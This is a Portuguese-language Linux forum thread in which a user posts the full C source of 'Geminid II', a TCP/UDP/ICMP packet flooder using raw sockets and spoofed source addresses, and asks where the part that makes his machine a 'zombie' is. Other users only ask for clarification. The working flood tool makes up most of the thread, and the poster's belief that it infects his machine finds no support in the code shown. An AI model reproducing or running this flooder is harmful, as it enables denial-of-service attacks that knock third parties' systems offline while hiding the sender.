Script..

cassimirox
(usa Debian)

Enviado em 20/06/2013 - 16:24h

Boa tarde galera, tudo bom ?
Então, me passaram um script, e o cara que trabalha cmg (administrador de redes, certificado em algumas coisas de linux) me disse que esse script, me torna um "zumbi". Alguem poderia me indicar onde está essa parte?
A seguir está o script.

/*

 * Geminid II. TCP/UDP/ICMP Packet flooder

 *

 *

 * Usage: geminid [-T -U -I -N -s -h -d -p -q -l -t]

 *

 *     -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN]   (no default         )

 *     -U UDP attack                                (no options         )

 *     -I ICMP attack                               (no options         )

 *     -N Bogus No flag attack                      (no options         )

 *     -s source class/ip                           (defaults to random )

 *     -h destination host/ip                       (no default         )

 *     -d destination class                         (no default         )

 *     -p destination port range [start,end]        (defaults to random )

 *     -q source port range [start,end]             (defaults to random )

 *     -l % of box link to use                      (defaults to 100%   )

 *     -t timeout                                   (defaults to forever)

 *

 *

 * Compiling

 *

 *      Default:

 *      % gcc g3m.c -o g3m

 *

 *      With password file option:

 *      % gcc -DF_PASS geminid.c -o geminid

 *

 *

 */

 

 

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <netdb.h>

#include <sys/types.h>

 

#ifdef F_PASS

#include <sys/stat.h>

#endif

 

#include <netinet/in_systm.h>                                                  

#include <sys/socket.h>

#include <string.h>

#include <time.h>

 

#ifndef __USE_BSD

#   define __USE_BSD

#endif

 

#ifndef __FAVOR_BSD

#   define __FAVOR_BSD

#endif

 

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#include <netinet/udp.h>

#include <netinet/ip_icmp.h>

#include <arpa/inet.h>

 

 

#ifdef LINUX

#   define FIX(x)  htons(x)

#else

#   define FIX(x)  (x)

#endif

 

 

/* Geminid attack flags */

#define TCP_ACK         1

#define TCP_FIN         2

#define TCP_SYN         4

#define TCP_RST         8

#define UDP_CFF        16

#define ICMP_ECHO_G    32

#define TCP_NOF        64 /* -N */

 

/* No flag attack */

#define TH_NOF         0x0

 

#define TCP_ATTACK()    (a_flags & TCP_ACK ||\

                         a_flags & TCP_FIN ||\

                         a_flags & TCP_SYN ||\

                         a_flags & TCP_RST ||\

                         a_flags & TCP_NOF)

 

 

#define UDP_ATTACK()    (a_flags & UDP_CFF)

#define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)

 

 

#define CHOOSE_DST_PORT() dst_sp == 0 ?\

                          random ()   :\

                          htons(dst_sp + (random() % (dst_ep -dst_sp +1)));

 

 

#define CHOOSE_SRC_PORT() src_sp == 0 ?\

                          random ()   :\

                          htons(src_sp + (random() % (src_ep -src_sp +1)));

 

 

#define SEND_PACKET()   if (sendto(rawsock,\

                                   &packet,\

                                   (sizeof packet),\

                                   0,\

                                   (struct sockaddr *)&target,\

                                    sizeof target) < 0) {\

                                        perror("sendto");\

                                        exit(-1);\

                        }

 

 

 

/* Linux / SunOS x86 / FreeBSD */

//#define BANNER_CKSUM 54018

 

/* SunOS Sparc */

#define BANNER_CKSUM 723

 

 

u_long lookup(const char *host);

unsigned short in_cksum(unsigned short *addr, int len);                        

static void inject_iphdr(struct ip *ip, u_char p, u_char len);

char *class2ip(const char *class);

static void send_tcp(u_char th_flags);

static void send_udp(u_char garbage);

static void send_icmp(u_char garbage);

char *get_plain(const char *crypt_file, const char *xor_data_key);

static void usage(const char *argv0);

 

 

u_long dstaddr;

u_short dst_sp, dst_ep, src_sp, src_ep;

char *src_class, *dst_class;

int a_flags, rawsock;

struct sockaddr_in target;

 

/* Self promotion :) */

const char *banner = "Geminid II. by live [TCP/UDP/ICMP Packet flooder]";

 

struct pseudo_hdr {         /* See RFC 793 Pseudo Header */

    u_long saddr, daddr;    /* source and dest address   */

    u_char mbz, ptcl;       /* zero and protocol         */

    u_short tcpl;           /* tcp length                */

};

 

struct cksum {

    struct pseudo_hdr pseudo;

    struct tcphdr tcp;

};

 

 

struct {

    int gv; /* Geminid value */

    int kv; /* Kernel value */

    void (*f)(u_char);

} a_list[] = {

 

        /* TCP */

    { TCP_ACK, TH_ACK, send_tcp },

    { TCP_FIN, TH_FIN, send_tcp },

    { TCP_SYN, TH_SYN, send_tcp },

    { TCP_RST, TH_RST, send_tcp },

    { TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */

 

        /* UDP */

    { UDP_CFF, 0, send_udp },

 

        /* ICMP */

    { ICMP_ECHO_G, ICMP_ECHO, send_icmp },

    { 0, 0, (void *)NULL },

};

 

 

int

main(int argc, char *argv[])

{

    int n, i, on = 1;

    int b_link;

#ifdef F_PASS

    struct stat sb;

#endif

    unsigned int until;

 

 

    a_flags = dstaddr = i = 0;

    dst_sp = dst_ep = src_sp = src_ep = 0;

    until = b_link = -1;

    src_class = dst_class = NULL;

    while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {

        char *p;

 

        switch (n) {

            case 'T': /* TCP attack

                       *

                       * 0: ACK

                       * 1: FIN

                       * 2: RST

                       * 3: SYN

                       */

 

                switch (atoi(optarg)) {

                    case 0: a_flags |= TCP_ACK; break;

                    case 1: a_flags |= TCP_FIN; break;

                    case 2: a_flags |= TCP_RST; break;

                    case 3: a_flags |= TCP_SYN; break;

                }

                break;

 

            case 'U': /* UDP attack

                       */

                a_flags |= UDP_CFF;

                break;

 

            case 'I': /* ICMP attack

                       */

                a_flags |= ICMP_ECHO_G;

                break;

 

            case 'N': /* Bogus No flag attack (TCP)

                       */

                a_flags |= TCP_NOF;

                break;

 

            case 's':

                src_class = optarg;

                break;

 

            case 'h':

                dstaddr = lookup(optarg);    

                break;

 

            case 'd':

                dst_class = optarg;

                i = 1; /* neat flag to check command line later */

                break;

 

            case 'p':

                if ( (p = (char *) strchr(optarg, ',')) == NULL)

                    usage(argv[0]);

                dst_sp = atoi(optarg); /* Destination start port */

                dst_ep = atoi(p +1);   /* Destination end port */

                break;

 

            case 'q':

                if ( (p = (char *) strchr(optarg, ',')) == NULL)

                    usage(argv[0]);

                src_sp = atoi(optarg); /* Source start port */

                src_ep = atoi(p +1);   /* Source end port */

                break;

 

            case 'l':

                b_link = atoi(optarg);

                if (b_link <= 0 || b_link > 100)

                    usage(argv[0]);

                break;

 

            case 't':

                until = time(0) +atoi(optarg);

                break;

 

            default:

                usage(argv[0]);

                break;

        }

    }

 

    /* Checking command line */

    if ( (!dstaddr && !i) ||

         (dstaddr && i) ||

         (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||

         (src_sp != 0 && src_sp > src_ep) ||

         (dst_sp != 0 && dst_sp > dst_ep))

            usage(argv[0]);

 

    srandom(time(NULL) ^ getpid());

 

    /* Opening RAW socket */

    if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {

        perror("socket");

        exit(-1);

    }

 

    if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,

        (char *)&on, sizeof(on)) < 0) {

            perror("setsockopt");

            exit(-1);

    }

 

    /* Filling target structure */

    target.sin_family           = AF_INET;

 

    /* Packeting! */

    for (n = 0; ; ) {

 

        /* Poor link control handling */

        if (b_link != -1 && random() % 100 +1 > b_link) {

            if (random() % 200 +1 > 199)

                usleep(1);

            continue;

        }

 

        /* Sending requested packets */

        for (i = 0; a_list[i].f != NULL; ++i) {

            if (a_list[i].gv & a_flags)

                a_list[i].f(a_list[i].kv);

        }        

 

        /* Attack is finished? Do not check it every time, would eat

         * too much CPU */

        if (n++ == 100) {

            if (until != -1 && time(0) >= until) break;

            n = 0;

        }

    }

               

    exit(0);

}

 

 

u_long

lookup(const char *host)

{

    struct hostent *hp;

 

    if ( (hp = gethostbyname(host)) == NULL) {

        perror("gethostbyname");

        exit(-1);

    }

 

    return *(u_long *)hp->h_addr;

}

 

 

#define RANDOM() (int) random() % 255 +1

 

char *

class2ip(const char *class)

{

    static char ip[16];

    int i, j;

 

    for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)

        if (class[i] == '.')

            ++j;

 

    switch (j) {

        case 0:

            sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());

            break;

        case 1:

            sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());

            break;

        case 2:

            sprintf(ip, "%s.%d", class, RANDOM());

            break;

 

        /* Spoofing single host */

        default: strncpy(ip, class, 16);

                 break;

    }

    return ip;

}

 

 

unsigned short

in_cksum(unsigned short *addr, int len)

{

    int nleft = len;

    int sum = 0;

    unsigned short *w = addr;

    unsigned short answer = 0;

 

    /*

     * Our algorithm is simple, using a 32 bit accumulator (sum), we add

     * sequential 16 bit words to it, and at the end, fold back all the

     * carry bits from the top 16 bits into the lower 16 bits.

     */

    while (nleft > 1) {

        sum += *w++;

        nleft -= 2;

    }

 

    /*

     * Mop up an odd byte, if necessary

     */

    if (nleft == 1) {

        *(unsigned char *) (&answer) = *(unsigned char *)w;

        sum += answer;

    }

 

    /*

     * Add back carry outs from top 16 bits to low 16 bits

     */

    sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */

    sum   += (sum >> 16);                   /* add carry           */

    answer = ~sum;                          /* truncate to 16 bits */

 

    return answer;

}

 

 

/*

 * Creating generic ip header, not yet ready to be used.

 */

static void

inject_iphdr(struct ip *ip, u_char p, u_char len)

{

 

 

    /* Filling IP header */

    ip->ip_hl             = 5;

    ip->ip_v              = 4;

    ip->ip_p              = p;

    ip->ip_tos            = 0x08; /* 0x08 */

    ip->ip_id             = random();

    ip->ip_len            = len;

    ip->ip_off            = 0;

    ip->ip_ttl            = 255;

 

    ip->ip_dst.s_addr     = dst_class != NULL ?

                            inet_addr(class2ip(dst_class)) :

                            dstaddr;

 

    ip->ip_src.s_addr     = src_class != NULL ?

                            inet_addr(class2ip(src_class)) :

                            random();

 

    /* I know, this is not part of the game, but anyway.. */

    target.sin_addr.s_addr = ip->ip_dst.s_addr;

}    

 

 

static void

send_tcp(u_char th_flags)

{

    struct cksum cksum;

    struct packet {

        struct ip ip;

        struct tcphdr tcp;

    } packet;

 

 

    /* Filling IP header */

    memset(&packet, 0, sizeof packet);

    inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));

    packet.ip.ip_sum        = in_cksum((void *)&packet.ip, 20);

 

    /* Filling cksum pseudo header */

    cksum.pseudo.daddr      = dstaddr;

    cksum.pseudo.mbz        = 0;

    cksum.pseudo.ptcl       = IPPROTO_TCP;

    cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));

    cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;

 

    /* Filling TCP header */

    packet.tcp.th_flags     = 0;

    packet.tcp.th_win       = htons(65535);

    packet.tcp.th_seq       = random();

    packet.tcp.th_ack       = 0;

    packet.tcp.th_flags     = th_flags;

    packet.tcp.th_off       = 5;

    packet.tcp.th_urp       = 0;

    packet.tcp.th_sport     = CHOOSE_SRC_PORT();

    packet.tcp.th_dport     = CHOOSE_DST_PORT();

    cksum.tcp               = packet.tcp;

    packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));

    SEND_PACKET();

}

 

 

static void

send_udp(u_char garbage) /* No use for garbage here, just to remain */

{                        /* coherent with a_list[]                  */

    struct packet {

        struct ip ip;

        struct udphdr udp;

    } packet;

 

 

    /* Filling IP header */

    memset(&packet, 0, sizeof packet);

    inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));

    packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);

 

    /* Filling UDP header */

    packet.udp.uh_sport         = CHOOSE_SRC_PORT();

    packet.udp.uh_dport         = CHOOSE_DST_PORT();

    packet.udp.uh_ulen          = htons(sizeof packet.udp);

    packet.udp.uh_sum           = 0; /* No checksum */

    SEND_PACKET();

}

 

 

static void

send_icmp(u_char gargabe) /* Garbage discarded again.. */

{

    struct packet {

        struct ip ip;

        struct icmp icmp;

    } packet;

 

 

    /* Filling IP header */

    memset(&packet, 0, sizeof packet);

    inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));

    packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);

 

    /* Filling ICMP header */

    packet.icmp.icmp_type       = ICMP_ECHO;

    packet.icmp.icmp_code       = 0;

    packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));

    SEND_PACKET();

}

 

 

static void

usage(const char *argv0)

{

    printf("%s \n", banner);

    printf("Usage: %s [-T -U -I -N -s -h -d -p -q -l -t]\n\n", argv0);

 

printf("REGISTERED TO: seilaqm..\n\n");

 

printf("    -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN]   (no default         )\n");

printf("    -U UDP attack                                (no options         )\n");

printf("    -I ICMP attack                               (no options         )\n");

printf("    -N Bogus No flag attack                      (no options         )\n");

printf("    -s source class/ip                           (defaults to random )\n");

printf("    -h destination host/ip                       (no default         )\n");

printf("    -d destination class                         (no default         )\n");

printf("    -p destination port range [start,end]        (defaults to random )\n");

printf("    -q source port range [start,end]             (defaults to random )\n");

printf("    -l %% of box link to use                      (defaults to 100%%   )\n");

printf("    -t timeout                                   (defaults to forever)\n");

 

 

    exit(-1);

}

 

alexandregms
(usa Ubuntu)

Enviado em 20/06/2013 - 16:40h

Isso é um programa em C, e não um shell script.
Dica: ninguém vai ler um programa gde desses no fórum e ficar testando na máquina. Geralmente os fóruns são perguntas rápidas onde o solicitante já levanta os quesitos e pergunta o que precisa.
Exemplifique melhor o que vc deseja, por exemplo: que tipo de processo fica "zumbi", o que o programa faz, etc. :-)
Boa sorte!

danniel-lara
(usa Fedora)

Enviado em 20/06/2013 - 16:43h

Então, me passaram um script, e o cara que trabalha cmg (administrador de redes, certificado em algumas coisas de linux) me disse que esse script, me torna um "zumbi".
Como assim um Zumbi ??

Alguem poderia me indicar onde está essa parte?
que parte que tu quer explicação ?

cassimirox
(usa Debian)

Enviado em 20/06/2013 - 16:45h

Tipo, esse script, ele serve para enviar pacotes UDP para uma vítima... e como o "ZUMBI" que eu falei, ele infecta a sua máquina para a pessoa (que eu presumo) que criou o script.